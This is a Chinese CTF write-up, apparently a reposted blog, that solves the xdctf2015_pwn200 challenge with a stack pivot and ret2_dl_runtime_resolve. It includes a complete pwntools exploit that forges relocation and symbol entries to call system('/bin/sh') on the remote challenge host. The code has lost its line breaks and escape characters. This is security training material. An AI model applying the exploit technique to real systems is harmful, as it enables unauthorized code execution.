【PWN】刷题记录-ret2_dl_runtime

admin 2024年2月14日02:04:38评论8 views字数 5443阅读18分8秒阅读模式

【前言】

鸽了2天,今天终于把文章写出来了。

ret2_dl_runtime_resolve属于高阶利用技巧,理解起来有点头疼,但是这种利用方法一通百通,只要理解一遍之后遇到这种问题改改参数就能很快求解出来。

本文所用的代码参考了以下两个链接,两个配合着看对理解这部分的原理很有帮助:

https://xz.aliyun.com/t/5122#toc-9http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

【正文】

题目链接:

https://buuoj.cn/challenges#xdctf2015_pwn200

checksec分析保护。

【PWN】刷题记录-ret2_dl_runtime

只开了堆栈不可执行,且为32位的程序。

拖入IDApro静态分析。

【PWN】刷题记录-ret2_dl_runtime

【PWN】刷题记录-ret2_dl_runtime

程序在vuln函数内存在栈溢出。

由于程序内没有system函数,也没有其他可利用的gadgets,考虑使用ret2_dl_runtime_resolve进行解题。

1、栈迁移

程序内无法进行leak泄露出栈地址,考虑进行栈迁移,将栈顶迁移到可控的地址区域。

payload如下:

# stack pivotoffset = 0x6C + 0x4leave_ret = 0x0804851Appp_ret = 0x08048629pop_ebp_ret = 0x0804862b# payload = b"a" * offset + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(new_stack) + p32(0x100)# payload += p32(pop_ebp_ret) + p32(new_stack - 0x4) + p32(leave_ret)# p.sendlineafter(b"Welcome to XDCTF2015~!n", payload)rop = ROP("./" + binary)rop.raw(b'a' * offset)rop.read(0, new_stack, 0x100)rop.migrate(new_stack)p.sendline(rop.chain())

可以手动构造payload,也可以利用pwntools自带的ROP工具来构造rop链。

2、getshell

这边先给出第二次传的payload:

cmd = b"/bin/shx00"reloc_offset = (new_stack + 4 * 0x4) - rel_pltwrite_got = elf.got['write']fake_sym_addr = new_stack + 6 * 0x4align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)fake_sym_addr = fake_sym_addr + alignindex_dynsym = (fake_sym_addr - dynsym) / 0x10r_info = (int(index_dynsym) << 8) | 0x7fake_reloc = flat([write_got, r_info])st_name = new_stack + 108 - dynstrfake_sym = flat([st_name, 0, 0, 0x12])rop = ROP("./" + binary)rop.raw(plt0)rop.raw(reloc_offset)rop.raw(0)rop.raw(new_stack + 100)rop.raw(fake_reloc)rop.raw(align * b"x00")rop.raw(fake_sym)rop.raw((100 - len(rop.chain())) * b"x00")rop.raw(cmd)rop.raw(b"systemx00")rop.raw((0x100 - len(rop.chain())) * b"x00")p.sendline(rop.chain())ear.sh_add

这边先引用一下别人写的dl_runtime_resolve的具体的调用过程

  1. 根据 reloc_index 计算相应的重定位表项:Elf32_Rel *reloc = JMPREL + index

  2. 根据得到的重定位表项的 r_info 得到对应的符号在符号表中的索引:(reloc->r_info)>>8

  3. 继而得到对应的符号:Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)]

  4. 判断符号的类型是否为 R_386_JMP_SLOT:assert (((reloc->r_info)&0xff) == 0x7 )

  5. 根据 name 来寻找相应函数在库中的地址:name = STRTAB + sym->st_name

先知社区-高级ROP ret2dl_runtime 之通杀详解

这里的JMPREL就是plt0。

接着分析payload。

该利用方式的入口为dl_runtime_resolve函数,而该函数实际调用的是dl_fixup(struct link_map *l, ElfW(Word) reloc_offset),当栈迁移到可控的区域(比如elf.bss() + 0x500),通过第二次read操作读入的第一个地址如果是plt0的话,就可以只传递1个参数调用dl_fixup,即传一个伪造的reloc_offset即可。

在上面的payload中,reloc_offset的值为(new_stack + 4 * 0x4) - rel_plt, 刚好是rop链中fake_reloc的位置。

fake_reloc的结构为<write@got, r_info>,根据上述调用过程,r_info的功能就是用来定位dynsym表项的,具体如下:

Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)]

上述代码表明了dynsym表项和r_info的关系。从payload来看,在构造r_info之前共进行了以下步骤:

【PWN】刷题记录-ret2_dl_runtime

fake_sym_addr:由于在rop链中,fake_sym_addr被放在第6个位置(从0开始数),所以fake_sym_addr的值定义为new_stack + 6 * 0x4。

align:以read函数为例子,其在dynsym表内的表项为:

Elf32_Sym <offset aRead - offset byte_804827C, 0, 0, 12h, 0, 0>

长度为0X10,且和dynsym表头的差为0x10的整数倍。所以align为0x10减去(fake_sym_addr与dynsym表头的差跟0xf作&操作的值),这样fake_sym_addr + align就能达到地址对齐的目的。

然后是对fake_sym_addr的地址作修正。

index_dynsym:计算伪造的dynsym表项是相对于表头的第几项。

最后计算r_info。加入算出来的index_dynsym的值为320,则通过上述操作算出来为0x3207,最后一位的0x7表示为导入函数。这部分的知识可以参考文章开头给出的两个链接。

根据上述给出的read函数在dynsym表内表项的结构进行分析:

  1. offset aRead - offset byte_804827c:这部分其实是st_name,代表函数名称和dynstr表头的距离,其中在这里dynstr表头的地址为0x804827c。

  2. 第四部分的0x12表示导入函数,其余部分均为0。

在payload中,传入的函数名称为system,存放在new_stack + 108的位置。所以构造的system函数的表项为:

st_name = new_stack + 108 - dynstrfake_sym = flat([st_name, 0, 0, 0x12])

然后就是构造rop链。

另外,fake_reloc = flat([write_got, r_info])中的write_got部分不一定都要取write@got,可以取setbuf@got或者read@got等在程序内已经被调用过的函数的got表地址即可。

【PWN】刷题记录-ret2_dl_runtime

【完整的wp】

wp内包含了手动构造rop链和使用ROP构造rop链的方法。

from pwn import *context.log_level = "debug"context.arch = "i386"context.os = "linux"context.terminal = ['tmux','splitw','-h']binary = "bof"# p = process("./" + binary)p = remote("node4.buuoj.cn", 26531)elf = ELF("./" + binary)plt0 = elf.get_section_by_name('.plt').header.sh_addrrel_plt = elf.get_section_by_name('.rel.plt').header.sh_addrdynsym = elf.get_section_by_name('.dynsym').header.sh_addrdynstr = elf.get_section_by_name('.dynstr').header.sh_addrread_plt = elf.plt["read"]new_stack = elf.bss() + 0x500# stack pivotoffset = 0x6C + 0x4leave_ret = 0x0804851Appp_ret = 0x08048629pop_ebp_ret = 0x0804862b# payload = b"a" * offset + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(new_stack) + p32(0x100)# payload += p32(pop_ebp_ret) + p32(new_stack - 0x4) + p32(leave_ret)# p.sendlineafter(b"Welcome to XDCTF2015~!n", payload)rop = ROP("./" + binary)rop.raw(b'a' * offset)rop.read(0, new_stack, 0x100)rop.migrate(new_stack)p.sendlineafter(b"Welcome to XDCTF2015~!n", rop.chain())# one way to ret2_dll_runtime# cmd = b"/bin/shx00"# reloc_offset = (new_stack + 4 * 0x4) - rel_plt# write_got = elf.got['write']# fake_sym_addr = new_stack + 6 * 0x4# align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)# fake_sym_addr = fake_sym_addr + align# index_dynsym = (fake_sym_addr - dynsym) / 0x10# r_info = (int(index_dynsym) << 8) | 0x7# fake_reloc = p32(write_got) + p32(r_info)# st_name = new_stack + 108 - dynstr# fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)# payload = p32(plt0) + p32(reloc_offset) + p32(0) + p32(new_stack + 100) + fake_reloc + align * b"x00" + fake_sym# payload += (100 - len(payload)) * b"x00" + cmd + b"systemx00"# payload += (0x100 - len(payload)) * b"x00"# p.sendline(payload)# another way to ret2_dll_runtimecmd = b"/bin/shx00"reloc_offset = (new_stack + 4 * 0x4) - rel_pltwrite_got = elf.got['write']fake_sym_addr = new_stack + 6 * 0x4align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)fake_sym_addr = fake_sym_addr + alignindex_dynsym = (fake_sym_addr - dynsym) / 0x10r_info = (int(index_dynsym) << 8) | 0x7fake_reloc = flat([write_got, r_info])st_name = new_stack + 108 - dynstrfake_sym = flat([st_name, 0, 0, 0x12])rop = ROP("./" + binary)rop.raw(plt0)rop.raw(reloc_offset)rop.raw(0)rop.raw(new_stack + 100)rop.raw(fake_reloc)rop.raw(align * b"x00")rop.raw(fake_sym)rop.raw((100 - len(rop.chain())) * b"x00")rop.raw(cmd)rop.raw(b"systemx00")rop.raw((0x100 - len(rop.chain())) * b"x00")p.sendline(rop.chain())p.interactive()

原文始发于微信公众号(Stack0verf1ow):【PWN】刷题记录-ret2_dl_runtime

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月14日02:04:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】刷题记录-ret2_dl_runtimehttp://cn-sec.com/archives/2217784.html

发表评论

匿名网友 填写信息